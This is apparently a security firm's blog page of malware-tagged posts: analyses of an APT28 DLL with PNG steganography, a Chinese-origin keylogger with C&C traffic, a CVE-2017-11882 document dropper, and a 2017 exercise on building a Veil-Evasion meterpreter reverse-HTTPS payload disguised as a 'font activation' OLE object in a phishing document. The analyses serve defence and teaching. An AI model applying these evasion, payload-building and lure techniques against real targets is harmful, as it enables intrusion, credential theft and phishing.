Pokazywanie postów oznaczonych etykietą malware. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą malware. Pokaż wszystkie posty

wtorek, 10 lutego 2026

Kampania APT28: Analiza techniczna EhStoreShell.dll (część 2)

Pierwszą część analizy (LINK) zakończyliśmy na kroku, gdy wymuszony został restart procesu explorer.exe. Po restarcie do procesu explorer.exe ładowana jest biblioteka ze złośliwym kodem o nazwie EhStoreShell.dll. W tej części artykułu zajmiemy się analizą właśnie tej biblioteki oraz utworzonego przez pierwszą bibliotekę pliku PNG.

Poniżej opiszemy najciekawsze naszym zdaniem mechanizmy, jakie zostały zastosowane przez twórców tego malware (DLL Proxying, API Hashing, mechanizmy utrudniające analizę oraz zaimplementowaną funkcję ukrywania danych w pliku PNG). 

Name: EhStoreShell.dll
MD5: 4423B8F3456E54EB48DFBDE0B4C7984B
Rozmiar: 216 KB
Architektura: 64bit
Entry Point: 0xDC6C
Eksportowane funkcje: DllCanUnloadNow, DllGetClassObject, DllRegisterServer and DllUnregisterServer.

Z entry point oraz DLLMain() wywoływana jest główna funkcji zawierający złośliwy kod FUN_18000be40(). Zawiera ona najważniejszą funkcjonalność dla tego etapu ataku.  

 

Mechanizm importowania funkcji API

 
W głównej funkcji możemy zidentyfikować funkcje, które widzieliśmy w pierwszej próbce a związane z odkodowywaniem ciągów znaków za pomocą operacji logicznej XOR. Po odkodowaniu są to nazwy bibliotek: kernel32.dll, ntdll.dll i uwaga ehstorshell.dll. ehstorshell.dll jest “legalną” biblioteką, która też będzie ładowana do pamięci procesu w celu zastosowania techniki DLL Proxying dla wybranych API (technikę DLL Proxying opisaliśmy w innym naszym artykule).

 

API Hashing

 

Po załadowaniu bibliotek do pamięci za pomocą LoadLibrary() w kolejnym kroku pobierane są adresy wybranych funkcji API. W kodzie malware nie mamy nigdzie nazw tych funkcji. Są jedynie wartości 4 bajtowe wartości hash. Ten mechanizm jest często spotykany w implementacjach złośliwego kodu a nazywa się API Hashing. 

Na końcu umieściliśmy całą zdekodowaną funkcję (FUN_180009f20), która odpowiada za wyszukiwanie adresów API na podstawie wartości hash.

Funkcja zaczyna od walidacji czy wskazany w przekazywanym parametrze adres wskazuje na bibliotekę. Są to warunki dotyczące początku pliku (0x5a4d - “MZ”) czy sygnatury pliku PE (0x4550 “PE\0\0”). Następnie sprawdza tablicę eksportu (offset nagłówka PE (0x1e) + 0x88 to RVA (relative virtual address) tablicy exportu a offset nagłówka PE (0x1e) + 0x8c to rozmiar. Wtedy odbywa się krokowe przejście przez wszystkie nazwy i liczenie wartości hash. Odpowiada za to ten fragment:

iVar5 = 0x1505;
for each byte b in name:
iVar5 = iVar5 * 0x21 + (uint)bVar1;

Pod tym adresem można znaleźć informacje o wybranych funkcjach hash dla ciągów znaków http://www.cse.yorku.ca/~oz/hash.html. Zaimplementowana w malware funkcja hash to algorytm djb2.

Tzw. Initial Seed jest identyczny. Ta liczba pierwsza wynosi 5381 to 0x1505. (hash << 5) + hash jest równoważne z hash * 33.

Funkcja następnie porównuje wygenerowany hash z wartością przekazaną przy wywołaniu (wartość jest zapisana w pliku malware) iVar5 == *piVar10. Jeśli wartości się zgadzają, zapisuje adres funkcji.

Poniżej przykład wywołanie tej funkcji (FUN_180009f20). Jako drugi parametr przekazywany jest hash zapisany w pliku (&DAT_180034e00) i wynosi 0x7487495B.

void FUN_18000a070_Resolver_API(short *param_1)

{
  undefined4 *local_18;
  undefined8 uStack_10;
  local_18 = &DAT_180034e00;
  uStack_10 = 8;
  FUN_180009f20_Resolver_API(param_1,&local_18);
  return;
}


Spróbujmy, sami znaleźć nazwę funkcji dla tego hash. W naszym repozytorium znajduje się skrypt, który implementuje algorytm djb2. Skrypt pobiera tylko jeden parametr - nazwę biblioteki. Jak widać poniżej wartości hash odpowiada funkcji API ExpandEnvironmentStringsW().

$ python apihash.py kernel32.dll | grep 0x7487495b

ExpandEnvironmentStringsW                | 0x7487495b

Drugie wywołanie funkcji FUN_180009f20 ale tym razem podana jest druga biblioteka ntdll.dll.

$ python apihash.py ntdll.dll | grep 6793c34c

NtAllocateVirtualMemory                  | 0x6793c34c

Trzecie wywołanie zwraca nam nazwę: LoadLibraryA().

Następnie ładowana jest biblioteka (LoadLibraryA(“ehstorshell.dll”)) i zapisuje uchwyt w DAT_180035228.

DAT_180035228 = (HMODULE)(*pcVar6)(pppppppuVar9); //LoadLibraryA(“ehstorshell.dll”)

 

DLL Proxying

 

Poniżej fragmentu kodu, który odkodowują nazwy 4 eksportowanych funkcji z EhStoreShell.dll.

FUN_18000b4b0_dekoder_xor(&DAT_180024490,(undefined1 (*) [32])local_58); //odkoduje DllCanUnloadNow
FUN_18000b290((byte *)&DWORD_180024438,(undefined1 (*) [32])local_78); // odkoduje DllGetClassObject
FUN_18000b290(&DAT_1800244a8,(undefined1 (*) [32])local_98); //odkoduje DllRegisterServer
FUN_18000b040(&DAT_1800244c0,(undefined1 (*) [32])local_b8); //odkoduje DllUnregisterServer

Zobaczmy jedną z tych funkcji po dekompilacji.

HRESULT __stdcall DllCanUnloadNow(void)

{
  HRESULT HVar1;
  HVar1 = (*_DAT_180035200)();
  return HVar1;
}


Dla DllCanUnloadNow() jest wyłącznie wskaźnik do miejsca w pamięci _DAT_180035200.

Spójrzmy jeszcze raz na fragment kodu, który jest zaraz po odkodowaniu nazw bibliotek:

FUN_18000b4b0_dekoder_xor(&DAT_180024490,(undefined1 (*) [32])local_58);
FUN_18000b290_dekoder_xor((byte *)&DWORD_180024438,(undefined1 (*) [32])local_78);
FUN_18000b290_dekoder_xor(&DAT_1800244a8,(undefined1 (*) [32])local_98);
FUN_18000b040_dekoder_xor(&DAT_1800244c0,(undefined1 (*) [32])local_b8);
  pcVar6 = (code *)FUN_18000a0f0_Resolver_API(-0x30ce44e1);
  puVar10 = local_58;
  if (0xf < uStack_40) {
    puVar10 = (undefined1 *)CONCAT71(local_58._1_7_,local_58[0]);
  }
  _DAT_180035200 = (*pcVar6)(DAT_180035228,puVar10);


Pod pcVar6 jest adres funkcji GetProcAddress(). Wynik zapisywany w _DAT_180035200.

pcVar6 = (code *)FUN_18000a0f0_Resolver_API(-0x30ce44e1);

Wartość -0x30ce44e1 (czyli 0xcf31bb1f w formacie unsigned)

Weryfikacja skryptem apihash.py:

$ python apihash.py kernel32.dll | grep cf31bb1f

GetProcAddress                           | 0xcf31bb1f

Jak widać malware nie używa własnego resolvera do wszystkich adresów API - tutaj pobiera standardowe API aby uzyskać dostęp do adresu funkcji.

 

Mechanizmy Anti-analysis

 

Kolejną ciekawą funkcjonalnością są próby wykrywania “zewnętrznej ingerencji” w działania malware. 

Test #1. Sprawdzenie czy uruchomiony kod działa w kontekście procesu explorer.exe. 

Za pomocą funkcji GetModuleFileNameW() pobierana jest pełna ścieżka uruchomionego procesu. Następnie nazwa procesu porównywana jest z ciągiem znaków explorer.exe.

Malware został zaprojektowany tak, aby uruchamiać się wyłącznie jako DLL podpięty pod konkretną usługę. Oddzielna analiza dynamiczna samej biblioteki za pomocą debuggera czy sandboxa będzie wykryta.

Test #2. Czas wykonania funkcji

Zaimplementowano mechanizm sprawdzający czy funkcja Sleep(3000) oraz Resolver_API wykona się w określonym czasie. Poniżej ten fragment:

    FUN_18000bd60_check-debug((longlong *)local_d8);
    pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0xe19e5fe);
    (*pcVar6)(3000);
    FUN_18000bd60_check-debug((longlong *)&local_e8);
    if (2899999999 < (longlong)local_e8 - (longlong)local_d8[0]) {


Funkcja FUN_18000bd60() pobiera za pomocą funkcji QueryPerformance* precyzyjny czas. następnie wywołuje raz funkcje odczytującą adres funkcji API oraz Sleep(3000). Hash 0xe19e5fe to właśnie Sleep().

Na końcu sprawdza czy faktycznie minęło około 3 sekundy. Taki mechanizm może wykryć system który np. przyśpiesza lub ignoruje całkowicie funkcje sleep(). 

 

Plik SplashScreen.png

 

W kolejnym kroku złośliwe oprogramowanie wczytuje do pamięci plik z lokalizacji %programdata%\Microsoft OneDrive\setup\cache\SplashScreen.png.

Zanim go wczyta, pobiera adres GetLastError i wywołuje go. Sprawdza czy zwracany kod błędu jest różny od 0xb7 (ERROR_ALREADY_EXISTS). Gdy jest to pierwsza instancja malware to wywoływany jest sleep() i następnie wczytanie do pamięci pliku PNG.

Poniżej ten fragment:

  pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0x2082eae3);
  iVar1 = (*pcVar6)();
  if (iVar1 != 0xb7) {
    do {
      pcVar6 = (code *)FUN_18000a0f0_Resolver_API(0xe19e5fe);
      (*pcVar6)(15000);
      FUN_1800012a0_dynamic_load_exec_code((undefined8 *)pbVar5,local_40[0]);
    } while( true );
  }


Chwilę przed tym sprawdzeniem jest próba wywołania CreateMutexA z wartością: ukqh3vuaoh2vy3v

Następnie dzieje się coś bardzo ciekawego. Z pliku PNG ekstraktowany jest fragment danych. Pierwsza funkcja sprawdza rozmiar danych do ekstrakcji, następnie alokowana jest pamięć a na końcu kopiowane są tam dane.

FUN_1800019c0_check_size_of_payload((longlong)local_60,iVar8,(byte *)param_2);
pbVar3 = _malloc((ulonglong)*param_2);
FUN_180001b60_extract_from_png((longlong)pvVar5,iVar8,pbVar3,*param_2);


Druga funkcja FUN_180001b60() ekstraktuje dane z użyciem technik steganografii. Na podstawie analizy tej funkcji spróbujmy sami odkodować prawdziwy payload.

 

Steganografia

 

Poniżej zawartość pliku SplashScreen.png.


Zobaczmy zatem na plik PNG w edytorze szesnastkowym. 7801 to nagłówek strumienia zlib, określający parametry kompresji. Malware w funkcji FUN_1800099b0 rozpakowuje go.


Spróbujmy za pomocą poniższego skryptu (png_zlib_extract.py) python "rozpakować" go, aby otrzymać surową tablicę bajtów RGBA.


from PIL import Image
img = Image.open("SplashScreen.png").convert("RGBA")
d = img.tobytes()
print(d.hex(" "))



Po przeanalizowaniu funkcji dekodującej PNG (FUN_180001b60) możemy zauważyć, że odczyt payload zaczyna się od offsetu 0x22 ale w warunku IF jest iVar3 - 2 czyli z 0x20. Następnie odczytywanych jest 8 bajtów z których powstaje 1 bajt danych payload. 

Poniżej przykład dla pierwszych 8 bajtów:

offset : szesnastkowo : binarnie
-------------------
0x20 : FE : 11111110
0x21 : FE : 11111110
0x22 : FE : 11111110
0x23 : FF : 11111111
0x24 : FE : 11111110
0x25 : FE : 11111110
0x26 : FF : 11111111
0x27 : FE : 11111110

Zapiszmy teraz najmniej znaczące bity: 0 0 0 1 0 0 1 0.
Odwróćmy teraz kolejność: 00010010 -> 01001000 i zapiszmy szesnastkowo wartość 0x48.

Zróbmy to samo dla kolejnych 8 bajtów od 0x28 do 0x2f. Złożenie najmniej znaczących bitów daje wartość 0x81.

Tym sposobem jesteśmy w stanie odkodować payload. Powstanie on po zastosowaniu techniki steganograficznej opartej o odczyt najmniej znaczących bitów z tablicy RGBA pliku PNG. 

Sprawdźmy, czy poprawnie odbudowaliśmy pierwsze bajty. Poniżej zrzut z ekranu debuggera w momencie przekazania kontroli do nowego payload-u. Instrukcja call do adresu znajdującego się na stosie [RSP+30] prowadzi do 0x24F5D970000. Pierwszy bajt to 0x48 a drugi to 0x81.


W tym momencie możemy zapisać fragment pamięci do pliku. Druga metoda to przygotowanie skryptu dekodującego. Gotowy skrypt (png_zlib_extract_decode.py) znajduje się w naszym repozytorium.

Po odkodowaniu całości pliku otrzymujemy dane, które składają się z trzech fragmentów.
  • Payload, do którego biblioteka EhStoreShell.dll przekazuje kontrolę
  • Ciągi znaków (nazwy funkcji i bibliotek), które są używane przez payload do lokalizacji adresów funkcji
  • Kolejny plik wykonywalny.
Poniżej fragment tego pliki. 3 bloki - czerwony (końcówka payload), żółty (ciągi znaków), niebieski (kolejny plik wykonywalny).

Plik wykonywalny możemy wyodrębnić w następujący sposób:
$ dd if=wynik of=pe_file bs=1 skip=2363
64512+0 records in
64512+0 records out
64512 bytes (65 kB, 63 KiB) copied, 0.058534 s, 1.1 MB/s

$ file pe_file 
pe_file: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ md5sum pe_file
6f528ad405bffa4a8c2f61b1fa2172fd  pe_file

Jest to plik wykonywalny 32 bitowy i jest przeznaczony na środowisko .NET.

 

Podsumowanie

 

Na tym kończymy drugą część analizy złośliwego oprogramowania wykorzystywanego przez grupę APT28 podczas ostatniej kampanii. Wiemy, że biblioteka EhStoreShell.dll pełni rolę kolejnego etapu ataku, a jej głównym zadaniem jest bezpieczne odczytanie payload z pliku PNG, który następnie jest uruchamiany.

Źródła:

[1] https://github.com/Prevenity/malware_scripts 
[2] http://www.cse.yorku.ca/~oz/hash.html

Funkcja opisywana w artykule, która jest implementacją rozwiązującej adres API.

void FUN_180009f20_Resolver_API(short *param_1,undefined8 *param_2)

{
  byte bVar1;
  int iVar2;
  uint uVar3;
  uint uVar4;
  int iVar5;
  longlong lVar6;
  byte *pbVar7;
  uint uVar8;
  ulonglong uVar9;
  int *piVar10;
  int *piVar11;
  ulonglong uVar12;
  
  piVar10 = (int *)*param_2;
  piVar11 = piVar10 + param_2[1] * 0xc;
  do {
    if (piVar10 == piVar11) {
      return;
    }
    if ((((param_1 != (short *)0x0) && (*param_1 == 0x5a4d)) &&
        (lVar6 = (longlong)*(int *)(param_1 + 0x1e), *(int *)(lVar6 + (longlong)param_1) == 0x4550))
       && (iVar2 = *(int *)(lVar6 + 0x8c + (longlong)param_1), iVar2 != 0)) {
      uVar3 = *(uint *)(lVar6 + 0x88 + (longlong)param_1);
      uVar12 = (ulonglong)uVar3;
      uVar9 = 0;
      uVar4 = *(uint *)((longlong)param_1 + uVar12 + 0x18);
      if (uVar4 != 0) {
        do {
          iVar5 = 0x1505;
          pbVar7 = (byte *)((ulonglong)
                            *(uint *)((longlong)param_1 +
                                     uVar9 * 4 +
                                     (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x20)) +
                           (longlong)param_1);
          bVar1 = *pbVar7;
          while (bVar1 != 0) {
            pbVar7 = pbVar7 + 1;
            iVar5 = iVar5 * 0x21 + (uint)bVar1;
            bVar1 = *pbVar7;
          }
          if (iVar5 == *piVar10) {
            uVar4 = *(uint *)((longlong)param_1 +
                             (ulonglong)
                             *(ushort *)
                              ((longlong)param_1 +
                              uVar9 * 2 + (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x24)) *
                             4 + (ulonglong)*(uint *)((longlong)param_1 + uVar12 + 0x1c));
            if ((uVar4 < uVar3) || (uVar3 + iVar2 <= uVar4)) {
              lVar6 = (longlong)param_1 + (ulonglong)uVar4;
              goto LAB_18000a011;
            }
            break;
          }
          uVar8 = (int)uVar9 + 1;
          uVar9 = (ulonglong)uVar8;
        } while (uVar8 < uVar4);
      }
    }
    lVar6 = 0;
LAB_18000a011:
    *(longlong *)(piVar10 + 2) = lVar6;
    piVar10 = piVar10 + 0xc;
  } while( true );
}


niedziela, 18 marca 2018

Happy New Year wishes from China

At the end of January 2018 one of government agencies in Poland received an email with new year’s wishes from one of Chinese government agency. The content of the email is definitely suspicious so we decided to perform deeper analysis of this attempt of attack.


First of all we have to understand an email header. The received entries are the most important part of email because received lines contain a list of all hosts through which the message travelled. We can notice that the real source IP address of sender is 39.109.6.203. So probably the misconfiguration of one of Chinese server permitted to spoof an email address of a sender.

Received: from WIN-RME55NNMJCN (unknown [39.109.6.203])
    by mail1.***.gov.cn (c) with ESMTPA id 68AA921190
    for <***.gov.pl>; Wed, 31 Jan 2018 09:54:39 +0800 (HKT)


The next step was to analyse attached rar archive file. It was composed only of one file named Happy 2018.scr. After execution we can see a nice picture with wishes (presented at the beginning of this article).
JPG file is stored in a resource section .rsrc of the scr file. Malware often stores an embedded program or configuration ata in this section. API function names were obfuscated but finally we noticed that to handle resource objects the following API calls were used: FreeResource(), LockResource(), LoadResource(), FindResourceA(), SizeOfResource().


In the same time malware reads SYSTEM\CurrentControlSet\Services\disk\Enum registry key. It is known trick to detect virtual machines.


By using LoadLibraryA() and GetProcAddress() APIs other API functions are resolved: OpenServiceA(), StartServiceA(), OpenSCManagerA(), QueryServiceStatus(), ControlService(), CloseServiceHandle(), CreateServiceA(), RegOpenKeyExA(), RegCloseKey(), RegSetValueExA(), RegQueryValueA(), RegCreateKeyA(), RegEnumValueA().
If malware does not detect virtual machine, new service will be installed. The service name is Avriax with description Multiple defender service with one windows service. The following execution command is added to Windows registers: %SystemRoot%\system32\svchost -k Avriax. A dll file is a second stage malware. It is copied from BIN resource section of scr file. This file is encrypted by using RC4 algorithm with passphrase “ULoveVas”. After installation the service is started immediately.

00402A97  |. FF15 70504000  CALL DWORD PTR DS:[405070]               ;  ADVAPI32.OpenSCManagerA
00402A9D  |. 8BF8           MOV EDI,EAX
00402A9F  |. 85FF           TEST EDI,EDI
00402AA1  |. 74 32          JE SHORT Happy_20.00402AD5
00402AA3  |. 8B4424 08      MOV EAX,DWORD PTR SS:[ESP+8]
00402AA7  |. 56             PUSH ESI
00402AA8  |. 68 10000100    PUSH 10010
00402AAD  |. 50             PUSH EAX
00402AAE  |. 57             PUSH EDI
00402AAF  |. FF15 74504000  CALL DWORD PTR DS:[405074]               ;  ADVAPI32.OpenServiceA
00402AB5  |. 8BF0           MOV ESI,EAX
00402AB7  |. 85F6           TEST ESI,ESI
00402AB9  |. 74 12          JE SHORT Happy_20.00402ACD
00402ABB  |. 6A 00          PUSH 0
00402ABD  |. 6A 00          PUSH 0
00402ABF  |. 56             PUSH ESI
00402AC0  |. FF15 80504000  CALL DWORD PTR DS:[405080]               ;  ADVAPI32.StartServiceA


Malware connects to C&C server and downloads another file - 30_1.exe. Info.hangro.net has the same IP address 39.109.6.203.

GET /session/manager?mode=0&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.hangro.net
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment; filename="robots.txt"
Content-Type: application/x-msdownload
Content-Length: 10
Date: Wed, 31 Jan 2018 18:29:18 GMT

30_1.exe
GET /session/manager?mode=30_1.exe&id=JWXswTgi0184796 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: info.hangro.net
Cache-Control: no-cache


Downloaded file is also encrypted by using RC4 algorithm. The passphrase is “Higaisakora.0”. After decrypting executable file is executed by using CreateProcessA() API from the following location C:\Windows\TEMP directory. All strings in this file are encoded. The decoding instructions are presented below:


On below example we can see another decoded window service name. The second service will be installed by new malware file.


The functionality of exe file is easily identified by looking at decoded API names.


Executable file contains also new resource – one more dll file. This time malicious dll library is not encrypted. We can use CFF Explorer to extract new library.


The dll file is store in C:\Users\<username>\AppData\Roaming\System\hpptx386.dll and new service named HP Printer Software is created. This is the last stage of infection.
DLL file is a keylogger. All data are stored in Info.dat file and send to C&C host vachel.vicp.cc [IP: 39.109.6.203].There are several methods of implementing keyloggers in Windows. Method used in described example is based on GetAsyncKeyState() and GetKeyState(). Mentioned functions are used to query the status of all keys.


Basic IoC are listed below:
  • (Happy 2018 .scr) SHA1: 511F7BC170C596AD1A26D616359A78851EB7881B
  • (Avriax32.dll) SHA1: 2FB33BF79BCACA2445F66769C5261037C2EF92E2
  • (30_1.exe - encrypted) SHA1: 82BAC0B378285F914C518F39F54DA3E4A7A54588
  • (decrypted) SHA1: F372CE319060F103714D0F8897F846452786BB31
  • (hpptx386.dll) SHA1: 83B995717F82F97D3A65C7E6FBFB59908EEDE811
  • 39.109.6.203
  • info.hangro.net
  • vachel.vicp.cc

sobota, 13 stycznia 2018

An example of static analysis of an APT malware


This article describes how to perform static analysis of suspicious file with use of a few tools like Oletools, IDA and RetDec.

Few weeks ago, an email with suspicious attachment had been sent to one of government agency in Poland. The attached file name is BG Presidency Draft Calendar-Final.doc.

SHA1 of the doc file is: 601367EED1DDC8473F99CAAA4E2673C13E5D30D7

The first step is to verify the content of the doc file. One of the tool which we usually use at Prevenity is Oletools. It is a package of python tools to analyse Microsoft OLE2 files.


The RTFOBJ tool extracted for us ole objects. One of it (#2) contains command cMD /c rundll32 “%temp%\osk.exe”,Start. Now, we know that the entry point is the Start function from the osk.exe file (dll file).
We can also notice that class name for this object is Equation.3. The part of dumped object is presented below.


The exploit (CVE-2017-11882) used in this doc file is related to the executable module EQNDT32.EXE (Microsoft Equation Editor). 

Note: We can easily confirm that Equation editor was used by analysing output from process monitor.


Let's come back to static analysis. The another OLE object (#0) is executable file, but it is the dll – not the exe file.

SHA1 of extracted dll file: D9276ED0D9370CE08970F869591E93185D3D022C

A few weeks ago Avast did great job by sharing the source code of the RetDec decompiler. Let’s use it to perform the initial analysis of our PE binary file. 

The first interesting notice is that the malware tries to hide communication with C&C by using COM technology. The COM allows malware developers to start and perform http communication with use of iexplore.exe process where the session is hidden. The malware  is using a few interesting functions: CoInitialize() and CoCreateInstance(). The first is used to initialize the COM library. The second function is used to create an object of the class associated with a specified CLSID.


The registry value confirms that malware creates an instance of Internet Explorer.
The malware collects and then sends in HTTP GET to C&C server some basic information about an infected host like hostname, username and operating system type. This data are encrypted by using simple formula. Subtract 0x41 from current letter and XOR with counter. 



Then such encrypted data are coded by Base64. The RetDec in comment provided information about identified base64 function.


The response from C&C server contains in body message a value parameter. The value of this parameter contains encrypted data (commands to execute) which must be decrypted by below code.


In next step malware tries to find the following characters „~~”. In this way commands from C&C server are extracted. Next few instructions are responsible for checking if command id contains only numbers between 0-9 and space as a separator.


We can identify few conditions which redirect code to execute commands, read files, delete files. All content sent to C&C server is encrypted by session symetric key.


One of the feature is executing commands at compromised machines. The results are stores in fw1ei.tmp file. 


As we can see wsprintfA() is used to prepare a final command. The first parameter of wsprintfA() is located a few lines above:

*(char *)(v3 | 2) = *(char *)((int32_t)"Cm" + 2);

By concatenating „Cm”  with „D” malware builds command cmd and add destination executable file name received from C&C server.

Depending on command the result is sent to one of below URLs:
  • http://%s/view.aspx?li=%s
  • http://%s/post.aspx?fs=%s
  • http://%s/li.aspx?id=%s
  • http://%s/query.aspx?q=%s

Some IoC are presented below:

C&C server: maps.fakemediavis.com
IP address: 115.144.238.67
Created files:
  • C:\Users\<username>\AppData\Roaming\mozilla\mozlib.dll
  • C:\Users\<username>\AppDadta\Local\Temp\Microsoft Office Update.lnk with content: C:\Windows\system32\rundll32.exe C:\Users\IEUser\AppData\Roaming\mozilla\mozlib.dll,Start
SHA1 Hash values:
  • 601367EED1DDC8473F99CAAA4E2673C13E5D30D7
  • D9276ED0D9370CE08970F869591E93185D3D022C

External links:

czwartek, 9 marca 2017

Ćwiczenie: Skuteczny atak socjotechniczny



Wstęp

Ataki socjotechniczne są ciągle jedną z najskuteczniejszych metod wykorzystywaną przez intruzów. Aby zrozumieć metody stosowane przez intruzów od czasu do czasu musimy zasymulować taki atak. W tym artykule krok po kroku pokażemy jak wygląda przykładowa faza przygotowania scenariusza ataku socjotechnicznego z użyciem złośliwego oprogramowania.
Opisane przykłady mogą być stosowane wyłącznie w celach edukacyjnych.

Veil-Evasion

Veil-Evasion jest aplikacją z zestawu narzędzi Veil-Framework, który służy do generowania złośliwego oprogramowania (obecnie 51 modułów) oraz obfuskacji już wcześniej wygenerowanego złośliwego kodu. Veil-Evasion pozwala nam na generowanie payload-ów w różnych językach programowania.
Poniżej fragment dostępnych modułów:


Nie wszystkie modułu tego generatora są jednakowo skutecznie. Co ciekawe zastosowanie niektórych z nich powoduje większą wykrywalność niż w przypadku zastosowania natywnych modułów metasploit. Przyjrzyjmy się bliżej jak działa jeden z dostępnych modułów. Użyjemy modułu ruby/shellcode_inject/base64, który możemy zaliczyć do tych bardziej skutecznych (czyli mających małą wykrywalność).
Poniżej przykład konfiguracji:


W ustawieniach samego payloadu, zostawiamy opcje COMPILE_TO_EXE na wartość Y oraz domyślną metodę iniekcji czyli INJECT_METHOD na Virtual. Następnym krokiem będzie wybranie opcji generate oraz dostarczenie potrzebnego shellcode’u poprzez oprogramowanie msfvenom.


Veil-Evasion w tym wypadku da nam możliwość wybrania i wygenerowania shellcode używając bazy msfvenom. Wspominaliśmy wcześniej że payloady wygenerowane w msfvenom są wykrywalne, jednakże w połączeniu z metodą obfuskacji jaką dostarcza Veil-Evasion możemy spokojnie skorzystać z już gotowych modułów msfvenom, oczywiście jeżeli chodzi o sam shellcode.
Wybieramy payload: windows/meterpreter/reverse_https, następnie podajemy adres serwera C&C. Dlaczego https? Nie wszystkie organizacje analizują ruch https. Oczywiście możemy też użyć np. komunikacji DNS ale tak jak już kiedyś pisaliśmy testy socjotechniczne mają też na celu przetestowanie infrastruktury zamawiającego pod katem różnych ustawień bezpieczeństwa.
Na koniec zostaniemy poproszeni o nazwę naszego payload-u, np. ruby_payload.
Poniżej znajduję się kod malware przed przekształceniem do formy pliku wykonywalnego exe:


Możemy zauważyć że zawarte tam są:

  • Wymagane moduły,
  • Wywołania API dzięki którym załadowany i uruchomiony zostanie shellcode,
  • Zakodowany ciąg kodu malware (shellcode) w postaci base64.

Wiadomość email

Często powtarzającym się scenariuszem (ze względu na skuteczność) jest przygotowanie wiadomości z załącznikiem. Treść wiadomości to zazwyczaj informacja o nieopłaconej fakturze albo „ważne dokumenty” dla odbiorcy. Jest to jeden z ważniejszych elementów ataku – a treść i forma jest bardzo istotna i ma kluczowy wpływ na skuteczność całego przedsięwzięcia.

Załącznik

Czasami atakujący załącza bezpośrednio złośliwy plik do wiadomości – np. javascript dodatkowo kompresuje go i zabezpiecza hasłem. Czasami jest to link do dokumentu pdf znajdujący się na zewnętrznym serwerze. Innym mechanizmem jest implementacja złośliwego makra w dokumencie Office. O ile makro jest dosyć skutecznym sposobem osadzenia malware to okazuje się że organizacje coraz częściej blokują ich obsługę.
W opisywanym scenariuszu zastosujemy inną ciekawą opcję umieszczenia złośliwego oprogramowania w dokumencie. Jest nim umieszczenie obiektu OLE (Object Linking and Embedding) w wcześniej stworzonym dokumencie. Z naszego doświadczenia wynika że jest to często zapomniany element, który nie jest poddawany weryfikacji pod kątem obecności malware (niektóre rozwiązania bezpieczeństwa mają możliwość blokowania „aktywnej zawartości” w dokumentach).
Sposób osadzania obiektu w dokumencie pozwala nam ma utworzenie bardzo przekonującego scenariusza, który zwiększa szanse na przeprowadzenie udanego ataku.
Załóżmy, że naszym celem będzie dział reklamacji firmy X. Z informacji z strony www wiemy że na adres mailowy firmy X czyli reklamacje@firma_x.pl można zgłaszać reklamacje jako klient indywidualny.
Stwórzmy najpierw prosty dokument Microsoft Word, który po uruchomieniu będzie wyglądał jakby jego czcionka nie została poprawnie wyświetlona. Robimy tak pisząc na przykład w mniej używanej czcionce np. MT Extra. Inną metodą jest po prostu utworzeniu ciągu znaków [] co będzie przypominało ciąg znaków z źle wyświetloną czcionką.



Dodajemy do dokumentu również informacje o tym, iż jeżeli dokument nie został wyświetlony poprawnie to prosimy o uruchomienie/instalację czcionek. Dodajemy więc informacje, tak jak zostało to przedstawione poniżej:


Teraz zostaje nam jedynie osadzenie obiektu OLE, który jest plikiem ze złośliwym oprogramowaniem, a dla osoby która otrzyma ten dokument, jedynie „przyciskiem” do „aktywacji czcionek”. Przed wstawieniem zmieniamy jeszcze nazwę wygenerowanego złośliwego pliku na „Microsoft Word.exe”.
Samo umieszczenie obiektu OLE z pliku nie jest zbyt zachęcające nawet dla przeciętnego użytkownika, dlatego też zaznaczamy opcje „Wyświetl jako ikonę”. W tym przypadku nazwiemy nasz plik „Aktywuj czcionki” a ikonę wybierzemy z znanej biblioteki shell32.dll. Po spreparowaniu odpowiednio naszego obiektu oraz wprowadzeniu go do dokumentu, całość powinna przedstawiać się tak:


Nasz dokument jest prawie gotowy, teraz jedynie należy mu nadać odpowiednią nazwę.
Każda próba „aktywacji czcionek” powodowała nawiązywanie sesji do serwera C&C na którym znajdował się skrypt wykonujący kilka podstawowych komend na komputerze ofiary. 

Podsumowanie

Pomimo faktu, że technologia osadzania obiektów OLE w plikach z pakietu MS Office była już w przeszłości używana do przenoszenia złośliwego oprogramowania, to z wykorzystaniem odpowiednich sztuczek socjotechnicznych oraz braku odpowiednich mechanizmów ochrony jest duża szansa udanego ataku. Ataku, który jest prosty i skuteczny.

Źródła